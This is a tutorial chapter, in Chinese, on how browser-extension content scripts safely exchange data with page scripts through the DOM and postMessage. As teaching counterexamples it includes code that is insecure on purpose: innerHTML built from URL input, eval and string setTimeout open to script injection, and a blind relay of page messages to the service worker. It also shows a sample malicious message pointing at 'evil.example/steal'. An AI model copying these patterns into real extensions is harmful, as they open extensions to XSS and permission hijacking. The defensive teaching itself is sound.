内容脚本与页面脚本交互
本教程共 56 篇 · 第 19 篇 · 更新于 2026-08-13 · 约 8 分钟阅读
本节目标:学完你能在内容脚本和页面脚本之间搭一条能用的通道,知道哪些数据交换方式行不通,也知道从页面收来的消息必须做哪些校验才敢往下传。
前面三章讲的都是”怎么进场”。这一章讲进场之后最容易出事的一块:和页面自己的脚本打交道。这里既有”想传值传不过去”的困惑,也有真正的安全风险——写法不当,你的扩展会成为攻击页面的跳板。
19-1 唯一的公共地带是 DOM
先把边界摆清楚。内容脚本和宿主页面的执行环境互相隔离,但它们共享同一个 DOM。
官方的说法很直接:如果页面想跟内容脚本通信,或者想通过内容脚本跟扩展通信,它必须借道共享的 DOM。
这一句话推出了本章所有做法:能用的通道,都是建立在 DOM 上的。DOM 节点、DOM 事件、走在 DOM 层的 window.postMessage,都算;直接读写对方的变量,不算。
19-2 DOM 操作的正确姿势
内容脚本改页面,用的就是标准 DOM API,没有专属方言:
// 读
const title = document.querySelector('h1.article-title');
console.log(title?.textContent);
// 写
const badge = document.createElement('span');
badge.className = 'my-ext-badge';
badge.textContent = '已标记';
title?.appendChild(badge);
注意上面用的是 textContent 而不是 innerHTML。这个选择不是风格问题。看下面这种写法:
// 不要这样写
const name = new URLSearchParams(location.search).get('name');
box.innerHTML = '<b>你好,' + name + '</b>';
name 来自网址,是外部输入。用 innerHTML 拼接,等于把外部字符串当 HTML 解析,攻击者塞一段标签进去就能在页面上执行东西。安全的写法是建节点、填文本:
const strong = document.createElement('b');
strong.textContent = '你好,' + name;
box.replaceChildren(strong);
规则就一条:凡是不由你完全控制的字符串,都用 textContent 落地,不要走 HTML 解析。
19-3 挂在 window 上的对象为什么共享不了
新手最常见的一次挫败,是想用 window 当中转站:
// 内容脚本(隔离世界)
window.__myExtData = { token: 'abc' };
// 页面脚本
console.log(window.__myExtData); // undefined
页面读到的是 undefined。反过来也一样,页面挂在 window 上的东西,内容脚本也读不到。原因就是第 16 章讲的隔离:两个环境各有一份自己的全局视角,window 上的属性不共享。
不止全局变量。挂在 DOM 节点上的自定义属性也是各世界一份:
// 内容脚本给节点挂一个属性
document.getElementById('mybutton').person_name = 'Roberto';
页面脚本读同一个节点的 person_name,拿到的仍然是它自己写的那个值,两边互不覆盖。节点是同一个,但访问它的 JavaScript 包装各世界独立。
所以结论很干脆:默认配置下,“把对象挂在 window 上共享”这条路走不通。 想传数据,只能走下面两种。
19-4 用 DOM 属性传值:能用,但有限
最土的办法是拿一个 DOM 节点当邮箱,靠属性传字符串:
// 内容脚本写
const box = document.createElement('div');
box.id = 'my-ext-bridge';
box.dataset.payload = JSON.stringify({ ready: true });
document.documentElement.appendChild(box);
// 页面脚本读
const data = JSON.parse(document.getElementById('my-ext-bridge').dataset.payload);
这条路的限制要记牢:
- 只能传字符串。对象要
JSON.stringify序列化,函数、DOM 引用、Map 这些传不过去。 - 完全公开。页面上任何脚本,包括第三方统计和广告脚本,都能读到、能改掉。
- 没有时序保证。对方不知道值什么时候写好,只能配合 DOM 事件通知。
因为第 2 条,这条通道绝对不能传敏感数据。用户 token、扩展内部凭据这类东西,一放进 DOM 就等于公开。
19-5 window.postMessage:标准做法
真正推荐的通道是 window.postMessage()。页面往自己身上发消息,内容脚本监听并检查,确认没问题再转给扩展。
页面这一侧:
document.getElementById("theButton").addEventListener("click", () => {
window.postMessage(
{type : "FROM_PAGE", text : "Hello from the webpage!"}, "*");
}, false);
内容脚本这一侧:
var port = chrome.runtime.connect();
window.addEventListener("message", (event) => {
// We only accept messages from ourselves
if (event.source !== window) {
return;
}
if (event.data.type && (event.data.type === "FROM_PAGE")) {
console.log("Content script received: " + event.data.text);
port.postMessage(event.data.text);
}
}, false);
这段官方示例里,每一行检查都有它的道理,逐条说:
event.source !== window就返回。这一步挡掉来自 iframe、来自其他窗口的消息,只认本窗口自己发的。少了这一句,页面里任何一个 iframe 都能给你发指令。- 检查
event.data.type。别照单全收,只处理你约定好的消息类型。 - 发送方那个
"*"是targetOrigin。能写具体源就写具体源,比如location.origin,范围越窄越好。 - 接收方还可以再校验
event.origin,确认消息来自你预期的站点。
最关键的一点单独强调:在这条通道上,任何在这个页面里运行的脚本都能发消息,包括第三方广告脚本、被注入的恶意脚本。所以内容脚本收到的每一条消息,都必须当成不可信的外部输入来处理。
Note反方向也能走:内容脚本
window.postMessage出去,页面脚本监听。机制对称,检查同样要做。
19-6 别把页面消息直接转给 service worker
这是本章最重要的一条实践。典型链路是这样的:
页面脚本 → 内容脚本 → service worker
内容脚本站在中间,它的角色不是传声筒,而是安全闸门。service worker 手里有 chrome.storage、有跨域请求能力、有宿主权限,如果内容脚本原样透传页面的请求,等于把这些能力开放给了任意网页脚本。
反例长这样:
// 危险:页面说读哪个地址就读哪个地址
window.addEventListener('message', (event) => {
chrome.runtime.sendMessage(event.data);
});
页面只要发一条 { action: 'fetch', url: 'https://evil.example/steal' },就借你的权限干了它自己干不了的事。正确的写法是白名单加校验:
const ALLOWED = new Set(['MARK_ARTICLE', 'GET_SETTINGS']);
window.addEventListener('message', (event) => {
if (event.source !== window) return;
const { type, articleId } = event.data || {};
if (!ALLOWED.has(type)) return;
// 只透传经过校验的字段,且类型必须对
if (type === 'MARK_ARTICLE' && typeof articleId !== 'string') return;
chrome.runtime.sendMessage({ type, articleId });
});
三条原则:消息类型走白名单、字段类型逐个校验、不让页面指定”要读哪个 URL""要写哪个存储键”这类由扩展决定的东西。
19-7 两种被禁止的写法
官方明确点名了两类危险写法,它们在 MV3 里是不允许的。
第一类是 eval 拼字符串:
const data = document.getElementById("json-data").textContent;
// WARNING! Might be evaluating an evil script!
const parsed = eval("(" + data + ")");
第二类是 setTimeout 的字符串形式:
const elmt_id = getSelectedId();
// WARNING! elmt_id might be '); ... evil script ... //'!
window.setTimeout("animate(" + elmt_id + ")", 200);
两者的问题是同一个:把从页面拿来的内容当代码执行了。换成不执行脚本的安全 API 就行。
解析 JSON 用 JSON.parse:
const data = document.getElementById("json-data").textContent;
// JSON.parse does not evaluate the attacker's scripts.
const parsed = JSON.parse(data);
延时调用用闭包形式:
const elmt_id = getSelectedId();
// The closure form of setTimeout does not evaluate scripts.
window.setTimeout(() => animate(elmt_id), 200);
Tip判断标准很简单:如果一段代码的作用是”把字符串变成可执行的东西”,那它就该被换掉。
eval、new Function、字符串形式的setTimeout/setInterval都属于这类。
19-8 从外部取来的内容要过滤
隔离世界提供了一层保护,但它保护不了这种情况:内容脚本用 fetch() 从别的站点取回内容,然后直接塞进页面。
官方的提醒是两条:注入之前必须针对跨站脚本攻击做过滤;只走 HTTPS 通信,避免中间人攻击。
落到代码上就是——取回来的数据,能当纯文本用就用 textContent;确实需要富文本,就先做 HTML 清洗,别把远端返回的 HTML 直接交给 innerHTML。
顺带提醒一个容易忽略的暴露面:第 16 章说过,声明成可从网页访问的资源,会同时暴露给同一站点上的第一方和第三方脚本。所以 web_accessible_resources 的 matches 要写窄,别顺手放开全站。
19-9 一份最小桥接骨架
把这一章的做法拼起来,主世界和隔离世界分工协作的骨架大致是这样。主世界那一小段只负责抓页面对象、往外抛数据:
// page-hook.js(world: MAIN)
window.postMessage(
{ type: 'PAGE_PLAYER_READY', duration: window.myPlayer?.duration ?? 0 },
location.origin
);
隔离世界这一段负责校验、转发、以及所有需要扩展权限的事:
// main-logic.js(world: ISOLATED,默认)
window.addEventListener('message', (event) => {
if (event.source !== window) return;
if (event.origin !== location.origin) return;
const { type, duration } = event.data || {};
if (type !== 'PAGE_PLAYER_READY') return;
if (typeof duration !== 'number') return;
chrome.storage.local.set({ lastDuration: duration });
});
这个结构里,主世界暴露的面积压到了最小,所有权限相关的动作都留在隔离世界,而且每条跨界数据都过了检查。
19-10 小结
内容脚本和页面脚本之间只有 DOM 是共享的,window 上的属性、节点上的自定义属性都各世界一份,“挂 window 共享”走不通。想传数据,DOM 属性能用但只能传公开的字符串,标准做法是 window.postMessage,并且必须做 event.source、event.origin、消息类型和字段类型这几层检查。
安全上守住三条底线:不用 innerHTML 拼外部字符串;不用 eval 和字符串形式的定时器;不把页面消息原样转给 service worker。内容脚本是扩展权限和不可信网页之间的那道闸门,闸门松了,整个扩展就成了跳板。
模块四到这里结束。下一个模块讲消息通信——内容脚本、service worker、popup 之间那套 sendMessage 与 connect 机制,这一章反复提到的”转给 service worker”就是从那里展开的。